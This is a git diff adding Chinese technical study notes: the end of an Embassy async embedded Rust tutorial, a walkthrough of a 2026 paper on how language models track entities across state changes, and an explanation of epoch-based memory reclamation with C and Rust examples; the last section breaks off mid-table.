+[dependencies] +embassy-executor = { version = "0.10", features = [ + "arch-cortex-m", + "executor-thread", + "defmt", +] } +embassy-time = { version = "0.5", features = ["defmt"] } +embassy-nrf = { version = "0.8", features = ["nrf52840", "time-driver-rtc1", "defmt"] } +defmt = "1" +defmt-rtt = "1" +panic-probe = { version = "1", features = ["print-defmt"] } +``` + +## 代码示例二:UART 行协议与超时(组合多个 async 原语) + +第二个例子展示 **UART async 读** 与 **超时** 组合——典型传感器/调试口场景。API 因芯片而异,此处以 `embassy-stm32` 风格示意(与 Book 中 async UART 章节思路一致): + +```rust +use embassy_executor::Spawner; +use embassy_stm32::usart::{Uart, Config}; +use embassy_stm32::bind_interrupts; +use embassy_stm32::peripherals::USART1; +use embassy_time::{Duration, Timer, with_timeout}; +use {defmt_rtt as _, panic_probe as _}; + +bind_interrupts!(struct Irqs { + USART1 => embassy_stm32::usart::InterruptHandler; +}); + +#[embassy_executor::task] +async fn uart_line_reader(mut uart: Uart<'static, async>) { + let mut buf = [0u8; 64]; + loop { + // 带超时的 read_until:100ms 内没收到换行则返回 Err + match with_timeout(Duration::from_millis(100), uart.read_until(b'\n', &mut buf)).await { + Ok(Ok(n)) => { + defmt::info!("line bytes: {}", n); + // 解析 buf[..n] ... + } + Ok(Err(e)) => defmt::warn!("uart err: {:?}", e), + Err(_) => { + defmt::trace!("read timeout, retry"); + } + } + Timer::after_millis(10).await; // 简单节流 + } +} + +#[embassy_executor::main] +async fn main(spawner: Spawner) { + let p = embassy_stm32::init(Default::default()); + let cfg = Config::default(); + let uart = Uart::new(p.USART1, p.PA10, p.PA9, Irqs, p.DMA1_CH5, p.DMA1_CH4, cfg).unwrap(); + spawner.spawn(uart_line_reader(uart)).unwrap(); + + loop { + Timer::after_secs(1).await; + defmt::info!("heartbeat"); + } +} +``` + +这段代码体现的 Embassy 模式: + +- **中断 + DMA** 在 HAL 内完成,任务侧只见 `read_until().await`。 +- `with_timeout` 把「无限等待」变成可恢复错误,避免协议卡死占满逻辑。 +- `main` 只负责初始化和心跳,协议循环在子任务——类似 RTOS 里两个线程,但无第二块栈。 + +若平台无 async UART,也可用 `embassy-sync` 的 channel 把 ISR 收到的字节送给 async 任务,模式相同:**ISR 短、任务长**。 + +## 核心概念四:同步原语与跨任务通信 + +除 GPIO、UART 外,Embassy 生态常用: + +| 组件 | 作用 | +|------|------| +| `embassy-sync` | 无堆 `Mutex`、`Channel`、`Signal`、`Watch` 等,供任务间传数据 | +| `embassy-futures` | `select`、`join`、`block_on` 辅助(嵌入式慎用 `block_on` 占死 executor) | +| `critical-section` | 短临界区,与 executor 配合 | + +`Mutex` 在 async 里是 **async mutex**:锁被占用时 `.await` 等待,而不是自旋占 CPU。适合保护共享传感器缓冲区。 + +选择 **channel** 时,生产者 `send().await`、消费者 `receive().await`,天然背压——比裸全局变量 + 标志位更易推理。 + +## 执行器实现细节(进阶阅读) + +Book 中 executor 章节的要点,适合第二次阅读: + +1. **Run queue**:就绪任务 FIFO;也可选优先级 / deadline 调度。 +2. **Waker**:Future 在 `Pending` 时注册 waker;中断里调用 `wake`,任务重新入队。 +3. **多 Executor**:例如主循环 `executor-thread` + 高优先级 `InterruptExecutor` 绑 NVIC 优先级。 +4. **自定义平台**:包装 `raw::Executor`,实现 `poll` 循环 + `pender`(唤醒睡眠线程),可嫁接到现有 RTOS 上。 + +`embassy-executor` crate 文档明确:**必须恰好提供一个 platform 实现**(`platform-cortex-m`、`platform-riscv32` 或 HAL 自带)。 + +## 与 FreeRTOS / Zephyr 选型简表 + +| 需求 | 更倾向 | +|------|--------| +| 团队只熟 C、供应商 BSP 是 FreeRTOS | FreeRTOS / Zephyr | +| 新项目、Rust、I/O 密集、要强内存安全 | Embassy | +| 硬实时 < 10µs 抖动、复杂优先级继承 | 抢占 RTOS 或 InterruptExecutor + 裸 ISR | +| 要完整蓝牙 Mesh / 全网络栈开箱 | Zephyr 往往更全;Embassy 需叠组件 | +| 本地单元测试 async 逻辑 | `executor` + `platform-std` 在 PC 上跑 | + +Embassy 官方立场是:协作式 async **往往更快更小** than 传统 RTOS——前提是工作负载以等待外设为主,而非长时间 CPU 计算。 + +## 学习路径建议 + +1. **环境**:`rustup target add thumbv7em-none-eabihf`(视板子而定),用 `probe-rs` 或 `cargo-embed` 烧录。 +2. **跑通 Book 的 Blinky async 版**:对比同一板子的 blocking 例程,观察 `Cargo.toml` feature 差异。 +3. **改示例**:加一个 `Ticker` 每秒打印,理解 timer 队列。 +4. **读 executor 章**:能画出 `Poll::Pending` → 入队 → 睡眠 → 中断唤醒。 +5. **做一个综合小项目**:按键切换 BLE 广播间隔 + LED 状态机,全部用 async 函数拆分。 + +推荐资源: + +- [Embassy Book](https://embassy.dev/book/) — 主教材 +- [embassy.dev 首页](https://embassy.dev/) — 架构与 pick-and-choose 说明 +- [docs.embassy.dev](https://docs.embassy.dev/) — crate API +- GitHub [embassy-rs/embassy](https://github.com/embassy-rs/embassy) — 示例与 issue + +## 常见坑 + +| 现象 | 可能原因 | +|------|----------| +| 任务从不运行 | 忘记 `spawner.spawn`,或 `main` 里无 `.await` 占满 CPU | +| 链接报 RAM 不足 | 任务状态机过大;减少 `pool_size` 或简化 async 调用链 | +| 定时不准 | 用 async 做极短延时;改用 blocking 或硬件定时器 | +| `spawn` 失败 | 该 `task` 默认 `pool_size = 1`,重复 spawn 同类型任务需加大 pool | +| 死锁 | async `Mutex` 跨任务锁顺序不一致;用 `select!` 或拆分所有权 | + +## 小结 + +Embassy 把嵌入式多任务从「多个栈 + 内核切换」翻译成「**单栈 + async 状态机 + 专用 executor**」。日常写固件时,你把每个外设或协议写成 `async fn`,用 `.await` 表达等待,用 `Spawner` 组装并发;RAM 与唤醒路径在编译期、硬件中断层收口。对于零基础读者,先建立「服务员协作上菜」的心智模型,再跑通 LED + 按键例程,最后读 Book 里 executor 与 time 两章,就能在 Rust 嵌入式里写出可维护的 async 固件,并与 FreeRTOS / Zephyr 路线做出清醒选型。 diff --git a/src/content/docs/papers/entity-tracking-states.md b/src/content/docs/papers/entity-tracking-states.md new file mode 100644 index 000000000..5d1371669 --- /dev/null +++ b/src/content/docs/papers/entity-tracking-states.md @@ -0,0 +1,336 @@ +--- +title: Do Language Models Track Entities Across State Changes? — 零基础学习笔记 +来源: https://arxiv.org/abs/2605.30233 +日期: 2026-06-13 +分类: 机器学习 +子分类: 模型与训练 +provenance: pipeline-v3 +--- + +## 从日常类比开始:仓库管理员 vs 考前突击翻笔记 + +想象你是仓库管理员,有 7 个箱子,每个箱子里放着若干物品。早上交接班时,同事一口气告诉你: + +> 苹果在 0 号箱,桃子在 1 号箱,钟表和罐子在 2 号箱…… + +接着一整天又发生多件事:把手表放进 1 号箱、从 2 号箱拿走罐子、把 0 号箱的苹果移到 1 号箱…… + +下班前老板问:**「1 号箱里现在有什么?」** + +人类通常会怎么做?两种策略: + +1. **增量记账(incremental)**:每听到一条操作,就在脑子里更新一张「全局库存表」——7 个箱子各自装了什么,随时可查。 +2. **延迟汇总(non-incremental)**:平时不维护完整表格;问题出现时,回头把相关句子在脑子里**并行翻一遍**,拼出答案。 + +**Do Language Models Track Entities Across State Changes?**(Tang 等,ICML 2026,arXiv:[2605.30233](https://arxiv.org/abs/2605.30233))用机制可解释性方法证明:主流 Transformer 语言模型更像第二种——它们面对的是一个**本质上是顺序更新状态**的任务,却用**非顺序的「查询时再聚合」**策略来应付。 + +更扎心的是:`REMOVE`(移除)操作背后不是「从某个箱子精确删掉某物」,而是一种脆弱的**全局抑制标签(global suppression tag)**——对象一旦被标成「要删」,模型倾向于在**整个上下文**里都不再预测它。在原始 benchmark 上这常常「碰巧正确」,换几个刁钻场景就会翻车。 + +一句话:**模型会答题,不等于模型在心里维护了一张正确的世界状态表。** + +--- + +## 这篇论文在解决什么问题 + +### 1. 实体追踪(Entity Tracking, ET)是什么 + +**实体追踪**:在叙述 unfolding 的过程中,持续知道「谁在哪里、有什么属性、状态如何变化」。它是下棋、长对话、多步推理、程序执行等能力的底层积木。 + +此前工作大量研究 **entity binding**(静态绑定):「苹果在 1 号箱」→ 问「1 号箱里有____」时模型如何找回「苹果」。Kim & Schuster (2023) 的 **box dataset** 把任务扩展到 **PUT / REMOVE / MOVE** 等**会改变世界状态**的操作,但「真实规模预训练模型在自然语言里**如何实现**这些状态变更」仍不清楚。 + +### 2. 两条研究脉络的空白 + +| 脉络 | 典型工作 | 局限 | +|------|----------|------| +| 玩具模型 + 合成语言 | Merrill et al. 2024; Li et al. 2025 | 层数/token 极限分析,难直接迁移到 Llama/CodeLlama | +| 预训练模型 + binding 机制 | Prakash et al. 2024; Feng & Steinhardt 2023 | 多研究**无状态变更**的「look-back」电路 | + +本文填补:**非玩具 LM + 自然语言 + 多种状态变更 + 行为与机制双向验证**。 + +### 3. 核心问题 + +- 模型是**逐 token / 逐层**累积世界状态,还是**等到 query 出现再一次性聚合**? +- `PUT`、`REMOVE`、`MOVE` 各自在残差流里如何实现? +- 机制分析能否**预测**标准测试里看不到的失败模式,并**干预修复**? + +--- + +## 实验任务长什么样 + +论文沿用 Kim & Schuster (2023) 的 box 格式。一个完整样例: + +```text +The apple is in Box 0, the peach is in Box 1, the clock and the jar is in Box 2, +the television is in Box 3, the brain is in Box 4, the book is in Box 5, +the pin is in Box 6. +Put the watch into Box 1. +Remove the jar from Box 2. +Move the apple in Box 0 to Box 1. +Box 1 contains the +``` + +结构拆成三段: + +| 段落 | 含义 | +|------|------| +| **DESCRIPTION** | 初始世界:7 个箱子、最多每箱 3 个物体(从 100 个物体名池中采样) | +| **OPERATIONS** | 状态变更:`PUT` 放入新物、`REMOVE` 从某箱移除、`MOVE` 等价于移出+移入 | +| **QUERY** | 问指定箱子内容,模型需自回归补全物体列表 | + +研究模型:**Gemma-2-2B**、**CodeLlama-13B**(机制分析主力)、**Llama-3.1-70B**(多操作行为)。代码开源:[PootieT/entity-tracking-mi](https://github.com/PootieT/entity-tracking-mi)。 + +--- + +## 核心发现一:非增量追踪(Non-incremental Tracking) + +### 假设对照 + +**跨 token(H1 vs H2)** + +- **H1(增量全局)**:从左到右读上下文时,最后一 token 的隐状态里编码了**所有箱子**的完整世界状态。 +- **H2(查询时局部)**:只有被问到的箱子相关信息,在 **query 变得明确之后**才动态拼起来。 + +**方法**:在 query 前最后一个 token(`the`)的残差流上训练线性 probe: + +- **Global probe**:对每个物体,预测它在哪个箱子(8 类,含「不在任何箱」)。 +- **Local probe**:对每个物体,预测它**是否在被查询的箱子**里(二分类)。 + +**结果(CodeLlama-13B)**:Local probe 非平凡准确率接近 **0.9**;Global probe 仅约 **0.3**(随机约 0.12)。说明模型**没有**维护可解码的全局状态表,但**能**解码「当前问的这个箱子」的局部答案。 + +**跨层(H3 vs H4)** + +- **H3**:若按层顺序处理多次局部操作,**更早的 prior state** 应在**更浅层**更可解码。 +- **H4**:多次操作在**同一层段并行**聚合,prior 与 final state 的 probe 峰值层相近。 + +实验支持 **H4**:看不到「越早的状态越早出现在浅层」的清晰阶梯,而是 query 末尾**并行**整合。 + +### 直觉总结 + +```text +你以为: DESCRIPTION → 更新状态 → OPERATION₁ → 更新 → … → QUERY → 读出 +实际上: DESCRIPTION + 所有 OPERATION →(几乎不维护表)→ QUERY 的 "the" → 并行捞信息 → 生成 +``` + +这与「自回归 = 逐步推理」的朴素想象不一致:**显式提到实体名**时,模型更倾向 lazy aggregation,而非 simulation。 + +--- + +## 核心发现二:三种操作的机制 + +### PUT:像「实体绑定电路」的亲戚 + +`PUT` 往已有箱子里**加入新物体**。作者用 **path patching** 追踪注意力头,复现 Prakash et al. (2024) 的四组头 **A/B/C/D**: + +| 组 | 位置与作用(简化) | +|----|-------------------| +| **A** | 末 token、深层:抬高目标物体 logit | +| **B** | 末 token、中层:把目标物体的 **order ID**(出现顺序)传给 A | +| **C** | query 里的 box ID、中层:传递位置信息给 B | +| **D** | 早期 box ID:扫 DESCRIPTION,绑定物体与箱子 | + +**PUT 与 DESCRIPTION 共用功能等价的子空间**传递位置信息(DCM + 子空间 patching),但具体注意力头集合重叠有限——**机制相似,实现不同**。 + +### REMOVE:全局抑制标签(最反直觉) + +正确 `REMOVE` 应让被删物体**不再被预测**。分析发现: + +1. 有 `REMOVE` 时,上下文里多数物体 logit **整体上升**(模型在「抬高提到过的物体」)。 +2. 被删物体的上升幅度**明显更小** → **相对排名下降** → 生成时被抑制。 +3. 关键:**即使 REMOVE 针对的不是当前 query 的箱子**,被删物体仍被抑制 → **全局移除(Global Remove)**,而非「从某箱局部删除」。 + +作者用 **三元 probe** 在物体/box token 上探测 `{不存在, 存在, 已移除}` 状态,发现 **object token 上的 remove tag** 因果有效;对 box ID 干预往往无效。`MOVE` 可理解为:对源箱加 remove tag,对目标箱加 exist tag。 + +### 为什么原 benchmark 测不出 bug + +原数据集约定:**每种物体在全仓库只出现一次**。全局删掉「罐子」与「从 2 号箱删掉罐子」在行为上等价——机制退化被数据设计**掩盖**了。 + +--- + +## 机制预测的新失败模式 + +论文设计三类**原 box 数据没有**的诊断场景: + +| 场景 | 例子要点 | 全局 REMOVE 为何失败 | +|------|----------|----------------------| +| **No-op Remove** | 帽子在 3 号箱,却写「从 0 号箱移除帽子」 | 仍全局抑制帽子,问 3 号箱时答错 | +| **Shared-label** | 0 号与 3 号箱都有 pill,只应从 0 号移除 | 两个 pill 都被抑制 | +| **Re-introduce** | 移除桃子后又 PUT 回 0 号箱 | 标签强度衰减 + 忽略操作顺序 | + +**Degeneration Rate (DR)** 在这些场景上很高(13B 上 No-op 约 **84%**)。对 object token 的 remove tag 做 **null-space 干预**可部分修复前两类(干预成功率 IS 约 **66–73%**),Re-introduce 更难(需正确排序多次操作)。 + +这也为 **Chain-of-Thought 改善 ET** 提供机制假说:CoT 把长上下文拆短,减轻 remove tag 随距离衰减(论文 Fig. 8:Box ID 条件 probe 准确率随操作链变长而下降)。 + +--- + +## 代码示例 1:用 Python 模拟 box 世界(正确 vs 全局 REMOVE) + +下面是一个**教学用**的极简世界状态机,对比「局部正确 REMOVE」与论文描述的「全局错误 REMOVE」: + +```python +from dataclasses import dataclass, field +from typing import Dict, Set, List + +@dataclass +class BoxWorld: + """增量维护:每个箱子一个集合 —— 人类/正确算法应有的样子。""" + boxes: Dict[int, Set[str]] = field(default_factory=dict) + + def put(self, box: int, obj: str) -> None: + self.boxes.setdefault(box, set()).add(obj) + + def remove_local(self, box: int, obj: str) -> None: + if box in self.boxes: + self.boxes[box].discard(obj) + + def query(self, box: int) -> List[str]: + return sorted(self.boxes.get(box, set())) + + +class GlobalRemoveLM: + """模仿论文中的退化机制:REMOVE 在物体名上打全局抑制标签。""" + def __init__(self, world: BoxWorld): + self.world = world + self.globally_removed: Set[str] = set() + + def remove_global(self, box: int, obj: str) -> None: + # 注意:忽略 box,只要提到 remove obj 就全局封禁 + self.globally_removed.add(obj) + self.world.remove_local(box, obj) # 局部也会删,但查询逻辑被全局集覆盖 + + def query_logits(self, box: int) -> Dict[str, float]: + scores = {o: 1.0 for o in self.world.query(box)} + for o in list(scores): + if o in self.globally_removed: + scores[o] = -1e9 # 全局抑制:不管在哪个箱 + return scores + + +# Shared-label 场景 +w = BoxWorld() +w.put(0, "pill") +w.put(3, "pill") + +lm = GlobalRemoveLM(w) +lm.remove_global(0, "pill") # 只想从 0 号箱移除 + +print("正确局部 query(3):", w.query(3)) # ['pill'] +print("全局 REMOVE query(3) 存活:", "pill" in lm.query_logits(3)) # False — 退化 +``` + +运行后你会看到:局部状态机认为 3 号箱仍有 `pill`,但「全局 REMOVE LM」在问 3 号箱时也会把 `pill` 压死——这正是论文 Table 1 中高 DR 的行为根源。 + +--- + +## 代码示例 2:线性 Probe 思路(概念复现) + +论文用线性 probe 区分 global vs local 表征。零基础可以理解成:**在固定层、固定 token 的隐向量上训练 logistic 回归,看能否解码某种结构信息**。 + +```python +import numpy as np +from sklearn.linear_model import LogisticRegression +from sklearn.model_selection import train_test_split +from sklearn.metrics import accuracy_score + +# X[i]:第 i 条样本在「query 前 the」token、第 layer 层的残差向量(示意) +# y_global[i]:物体 j 在哪个箱子(0-7) +# y_local[i]:物体 j 是否在被查询的箱子里(0/1) + +def train_probe(X, y, label: str) -> float: + X_tr, X_te, y_tr, y_te = train_test_split(X, y, test_size=0.2, random_state=0) + clf = LogisticRegression(max_iter=1000, class_weight="balanced") + clf.fit(X_tr, y_tr) + acc = accuracy_score(y_te, clf.predict(X_te)) + print(f"{label} probe accuracy: {acc:.3f}") + return acc + +# 论文定性结论(CodeLlama-13B, layer 中段)可概括为: +# local >> global(约 0.9 vs 0.3 非平凡准确率) +rng = np.random.default_rng(42) +N, D = 500, 512 +X_fake = rng.normal(size=(N, D)) +y_local = rng.integers(0, 2, size=N) +y_global = rng.integers(0, 8, size=N) + +train_probe(X_fake, y_local, "local (illustrative)") +train_probe(X_fake, y_global, "global (illustrative)") +``` + +真实实验需从模型 forward hook 提取残差流(仓库用 TransformerLens / NNsight)。要点不在绝对数字,而在**同一表征位置上 local 远强于 global**——这是拒绝 H1、支持 H2 的关键证据链。 + +--- + +## 方法工具箱(读论文时的「地图」) + +| 工具 | 用途 | 本文中的角色 | +|------|------|----------------| +| **Linear probing** | 检测隐状态是否编码某变量 | Global/local/prior state、三元 remove tag | +| **Path patching** | 因果追踪注意力头对 logit 的贡献 | PUT/DESCRIPTION 电路 A–D | +| **DCM + 子空间 patching** | 找传递 order ID 的低维子空间 | PUT 与 DESCRIPTION 子空间重叠 | +| **Logit/rank diff** | 比较有无 REMOVE 时排名变化 | 发现全局抑制而非局部删除 | +| **Amnesic probing 干预** | 投影到 probe 零空间,抹除信号 | 验证 remove tag 因果性、部分修复 DR | + +--- + +## 与相关工作的关系 + +```text +Kim & Schuster 2023 — box benchmark,证明 LM 有一定 ET 能力 + ↓ +Kim et al. 2024 — 代码预训练显著提升 ET + ↓ +Prakash et al. 2024 — binding「look-back」电路(无状态变更) + ↓ +本文 2605.30233 — 状态变更 + 非增量聚合 + REMOVE 全局退化 + ↓ +可延伸 — CoT/外部记忆/状态空间模型是否更接近增量 simulation? +``` + +玩具模型文献(Li et al. 2025)曾发现微调小模型可**按层**聚合置换状态;本文在**预训练大模型 + 显式实体名**设定下得到相反图景——说明**任务表述与训练分布**会根本改变内部算法。 + +--- + +## 对工程与应用的启示 + +### 1. 行为准确率 ≠ 可靠状态推理 + +在 box 类基准上「看起来会追踪」的模型,可能只是在 query 点做**启发式检索 + 标签抑制**,并未维护可复用的世界模型。部署到 Agent、游戏、机器人规划时,应用**机制启发的对抗样例**(no-op remove、重复标签、重新引入)做红队测试。 + +### 2. 长上下文多步操作的风险 + +Remove tag 随操作链变长而变弱(Box ID probe 线性下降),但 object token 上的退化信号相对稳定——模型更依赖**脆弱的物体级全局标签**。拆分子步骤(CoT)、缩短每段上下文、或引入**显式状态变量**(JSON/数据库/符号模块)可能更稳。 + +### 3. 训练与架构方向 + +论文讨论:是否在预训练中鼓励**潜式计算完整世界状态**(latent world states)、是否用**外部记忆**卸载 ET、以及 SSM/递归结构是否更适合真·增量追踪。对 RAG/Agent 设计者:不要把「LLM 读过就等于记住了正确状态」当作默认假设。 + +--- + +## 局限与开放问题 + +- 机制分析主力是 **CodeLlama-13B**;更大模型行为更好但退化仍在(70B Shared-label DR 仍约 **27%**)。 +- **REMOVE 的完整电路**尚未像 PUT 那样被 path patching 精确定位(附录 H.14 负面结果)。 +- 任务虽自然语言,但仍属**受控合成域**;国际象棋、真实对话中的 ET 是否同机制未知。 +- 干预修复是 **proof-of-concept**,未形成可部署的推理时补丁。 + +--- + +## 一句话带走 + +| 维度 | 结论 | +|------|------| +| 任务 | 自然语言 box 世界中的 PUT/REMOVE/MOVE 实体追踪 | +| 策略 | **非增量**:query 末 token 并行聚合,非逐 token 建世界表 | +| PUT | 类似已知 binding 电路,共享 order-ID 子空间 | +| REMOVE | **全局 remove tag** 抑制物体,非按箱局部删除 | +| 价值 | 机制预测新失败 → 设计更强评测 + 可干预修复 | +| 元教训 | **行为与机制分析应闭环**:测得准不够,还要问「怎么实现的、会在哪翻车」 | + +--- + +## 参考资料 + +- 论文:[arXiv:2605.30233](https://arxiv.org/abs/2605.30233) | [HTML 版](https://arxiv.org/html/2605.30233v1) +- 代码:[github.com/PootieT/entity-tracking-mi](https://github.com/PootieT/entity-tracking-mi) +- Box 基准:Kim & Schuster, *Entity Tracking in Language Models*, ACL 2023 +- Binding 电路:Prakash et al., 2024/2025 look-back 系列 +- ICML 2026 Poster:[icml.cc/virtual/2026/poster/64207](https://icml.cc/virtual/2026/poster/64207) diff --git a/src/content/docs/papers/epoch-based-reclamation-2007.md b/src/content/docs/papers/epoch-based-reclamation-2007.md new file mode 100644 index 000000000..7336b23fb --- /dev/null +++ b/src/content/docs/papers/epoch-based-reclamation-2007.md @@ -0,0 +1,288 @@ +--- +title: Practical Lock-Freedom — Epoch-based Reclamation(按「时代」延迟回收共享内存) +来源: https://www.cl.cam.ac.uk/research/srg/netos/papers/2007-cpwl.pdf +日期: 2026-06-13 +子分类: 内核与虚拟化 +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 是什么 + +**Epoch-based Reclamation(EBR,按时代回收)** 是一套让用户态 lock-free 数据结构**安全 `free` 已删节点**的机制。它最早由 Keir Fraser 在博士论文 *Practical Lock-Freedom*(2003)里系统化,并作为 Cambridge **MCAS / WSTM / OSTM** 非阻塞 API 的默认回收方案,出现在后来的期刊论文 *Concurrent Programming Without Locks*(Fraser & Harris,**TOCS 2007**;你手上的 PDF 即此文)。 + +日常类比:**夜市换班的三只回收桶**。 + +- 摊主(线程)每开始一轮「碰共享货架」的工作,先看门口黑板上的**班次号**(global epoch),记在自己小本子上(local epoch)。 +- 某件货从货架上撤下时,**不能当场扔进碎纸机**——可能还有顾客正拿着旧价签比价。摊主把废货扔进**当前班次对应的回收桶**(limbo list)。 +- 等黑板确认「**所有正在干活的摊主都看过最新班次**」,**上上班次**那只桶里的货才能统一销毁——因为再早一班次的顾客,最晚也在「上一班次」结束前离开了货架区。 + +技术上,EBR 解决的是 lock-free 里的经典难题:**读者拿着裸指针遍历时,写者不能把节点立刻 `free`**。EBR 把「等所有读者离开」这件事,编码成**全局 epoch 计数 + 每线程本地 epoch + 三个 limbo 桶**,读者路径几乎不用登记「我正在看哪本书」(对比 Hazard Pointer 的前台卡片)。 + +## 为什么重要 + +不理解 EBR,下面这些事很难讲清楚: + +- 为什么 **crossbeam-epoch**、**Folly `folly::Synchronized`** 周边、不少 C++ lock-free 容器默认走 epoch 而不是 hazard pointer +- 为什么 Fraser/Harris 能在 2007 年做出**与精细锁设计性能相当甚至更好**的 skip-list、红黑树——回收开销若用 SMR/HP 每条边都 `memory barrier`,BST 实测会慢 **20%+**(Fraser 论文原话) +- 为什么 EBR 常被称作 **QSBR(Quiescent-State Based Reclamation)的自动化版**:程序员不用手写「静默点」,库在临界区入口帮你记账 +- 为什么用户态 EBR **不是严格 lock-free**:一个线程在临界区里被挂起,可能**永远拖住回收**——这和 Linux RCU 在内核里「靠调度切换推进 grace period」形成对照 + +JPDC 2007 的横评(Hart 等)结论也很直白:**没有全局最优的回收方案**;EBR 在读多、读者开销敏感、能接受偶发内存延迟时往往占优。 + +## 核心概念 + +### 1. Limbo list(炼狱单)——先登记,后销毁 + +对象从共享堆上逻辑删除后,进入当前 epoch 的 **limbo list**,而不是立刻 `free`。思想来自 Kung & Lehman 的并行 GC、Pugh skip-list 等早期工作;Fraser 的改进是:**用 epoch 判断何时 limbo 里再也没有合法引用**,并只维护 **三个** 桶循环复用,改善 cache locality。 + +删除节点的责任规则(skip-list 特例): + +- 正常:谁 CAS 成功摘掉节点,谁把它扔进 limbo。 +- 插入与删除并发:节点可能「还在往高层插」就被逻辑删了。此时用 per-node **deferral flag**:插入与删除都尝试置位,**后完成的一方**负责入 limbo——因为只有两个操作可能创建/销毁共享引用。 + +### 2. Global epoch 与 local epoch + +- **Global epoch** `e`:全系统当前「时代」编号(通常 `mod 3` 循环)。 +- **Local epoch**:每个线程在进入**访问共享对象的操作**时,把本地 epoch 更新为当前的 `e`。 +- **关键不变量**:对象进入 limbo 时,共享堆里已没有指向它的引用;仍可能存在的引用只能是 **(i) 私有的**,且 **(ii) 属于在对象入 limbo 之前就已开始当前操作的线程**。 + +因此:当**所有正在临界区里的线程**的 local epoch 都 ≥ 当前 global epoch 时,**两个 epoch 之前**填满的那只 limbo 桶可以安全清空。 + +### 3. 为什么需要三个桶,而不是两个? + +直觉上「大家都看到 epoch `e` 了,上一桶就能回收」——**不够**。线程进入新 epoch 的时刻**不同步**:在任意时刻,往往有线程正从 `e-1` 迁到 `e`,它们手里还可能握着 `e-1` 时代 limbo 对象的私有指针。所以要再等一轮,才安全复用 `e-1` 的桶。Fraser 用 **三个 limbo list** 轮转;Hart 等的图示把这三段称为 **fuzzy barrier**。 + +### 4. 推进 epoch 的「模糊屏障」 + +线程每次进入临界区时,以一定概率扫描「当前正在临界区内的线程列表」: + +- 若每个这样的线程的 local epoch **都等于** global epoch,则把**最老**的 limbo list 并入 free list,并 `global_epoch++`。 +- **不参与扫描的线程**:当前不在临界区、处于 quiescent 的线程——避免「睡觉的线程」阻塞回收(QSBR 里程序员要保证静默;EBR 在实现里排除它们)。 + +回收工作**分散到所有 mutator**,不需要专职 GC 线程。 + +### 5. 与论文其它部分的边界 + +2007 年 PDF 的主体是 **MCAS / WSTM / OSTM** 三套非阻塞 API;EBR 在实现章(Fraser 博士论文 §5.2.3)负责**应用层节点**回收。与之对照: + +| 对象类型 | 回收方式 | +|----------|----------| +| MCAS/FSTM **操作描述符**(大块、短命) | 引用计数,用完即复用 | +| 跳表/红黑树 **节点**、STM 对象块 | **EBR** | +| 需要严格 lock-free 进度、不能容忍卡住 | 改用 Michael SMR / Hazard Pointer(读者每条边要 announce) | + +## 代码示例 + +### 示例 1:读者 / 写者共用的 EBR 临界区骨架(C 风格伪代码) + +下面是把 Fraser 描述翻译成最常见的 **enter → 用结构 → retire → leave** 四件套。真实库(如 crossbeam-epoch)会再加 pin 计数、缓存行对齐等细节。 + +```c +/* 每线程状态 */ +typedef struct { + uint64_t local_epoch; /* 本线程已观察到的时代 */ + bool in_critical; /* 是否在访问共享 lock-free 结构 */ +} tls_ebr_t; + +static _Atomic uint64_t global_epoch; +static limbo_list_t limbo[3]; /* 三个回收桶,下标 epoch % 3 */ + +void ebr_enter(tls_ebr_t *tls) { + tls->in_critical = true; + tls->local_epoch = atomic_load_explicit(&global_epoch, memory_order_acquire); + /* 以一定概率尝试推进时代并清空最老 limbo */ + ebr_try_advance(); +} + +void ebr_leave(tls_ebr_t *tls) { + tls->in_critical = false; +} + +void ebr_retire(void *ptr) { + uint64_t e = atomic_load_explicit(&global_epoch, memory_order_relaxed); + limbo[e % 3].push(ptr); /* 扔进当前时代的桶 */ +} + +/* 读侧:遍历 lock-free 链表 */ +node_t *ebr_search(node_t *head, key_t key) { + ebr_enter(&my_tls); + node_t *cur = head; + while (cur && cur->key < key) + cur = atomic_load_explicit(&cur->next, memory_order_acquire); + ebr_leave(&my_tls); + return cur; +} + +/* 写侧:逻辑删除后 retire */ +bool ebr_delete(node_t **head, key_t key) { + ebr_enter(&my_tls); + /* ... CAS 从链表摘掉 node ... */ + if (removed) + ebr_retire(node); + ebr_leave(&my_tls); + return removed; +} +``` + +读者路径只有 `enter/leave` 里对 epoch 的一次观察;**没有** Hazard Pointer 那种「每跳一步写一张卡片」的开销。 + +### 示例 2:Rust `crossbeam-epoch` 中的 Guard 模式 + +工业界最常被引用的 EBR 实现是 **crossbeam-epoch**(API 受 Fraser 方案启发)。`Guard` 表示「我处在某个 epoch 的保护下,别人不能 free 我正要访问的对象」: + +```rust +use crossbeam_epoch::{self as epoch, Atomic, Owned, Shared}; + +struct Node { + value: i32, + next: Atomic, +} + +fn push(stack: &Atomic, value: i32) { + let mut guard = epoch::pin(); // 等价于 ebr_enter + loop { + let head = stack.load(Ordering::Acquire, guard); + let mut node = Owned::new(Node { value, next: Atomic::null() }); + node.next.store(head, Ordering::Release); + if stack + .compare_exchange(head, node, Ordering::Release, Ordering::Relaxed, guard) + .is_ok() + { + break; + } + } +} + +fn pop(stack: &Atomic) -> Option { + let guard = epoch::pin(); + loop { + let head = stack.load(Ordering::Acquire, guard); + if head.is_null() { + return None; + } + let next = unsafe { head.deref() }.next.load(Ordering::Acquire, guard); + if stack + .compare_exchange(head, next, Ordering::Release, Ordering::Relaxed, guard) + .is_ok() + { + unsafe { guard.defer_destroy(head) }; // 等价于 ebr_retire + return Some(unsafe { head.deref() }.value); + } + } +} +``` + +`pin()` 可能触发全局 epoch 推进;`defer_destroy` 把节点排进当前 limbo,待 grace period 结束后由后台批量释放。 + +### 示例 3:`ebr_try_advance` 里「全员对齐」的简化逻辑 + +```c +void ebr_try_advance(void) { + if (random() % ADVANCE_PERIOD != 0) + return; + + uint64_t g = atomic_load_explicit(&global_epoch, memory_order_relaxed); + for (each thread t where t.in_critical) { + if (t.local_epoch != g) + return; /* 还有人滞留在旧时代,不能推进 */ + } + /* 所有活跃读者都已看到 g → 回收 (g-2) mod 3 的 limbo */ + limbo[(g + 1) % 3].flush_to_allocator(); + atomic_store_explicit(&global_epoch, g + 1, memory_order_release); +} +``` + +真实实现要处理线程注册/注销、ABA、内存序;但**语义核心**就是这段:「**活跃临界区**里的线程 local epoch 全追上 global,才清空最老桶」。 + +## 与其它回收方案对比 + +| 维度 | EBR(Fraser) | Hazard Pointer(Michael 2004) | QSBR | Linux RCU | +|------|---------------|-------------------------------|------|-----------| +| 读者开销 | 极低(进/出临界区记 epoch) | 每指针一次 publish + 验证 | 需手写 quiescent 点 | 读侧常为零指令 | +| 写者/回收 | 分散扫描 + 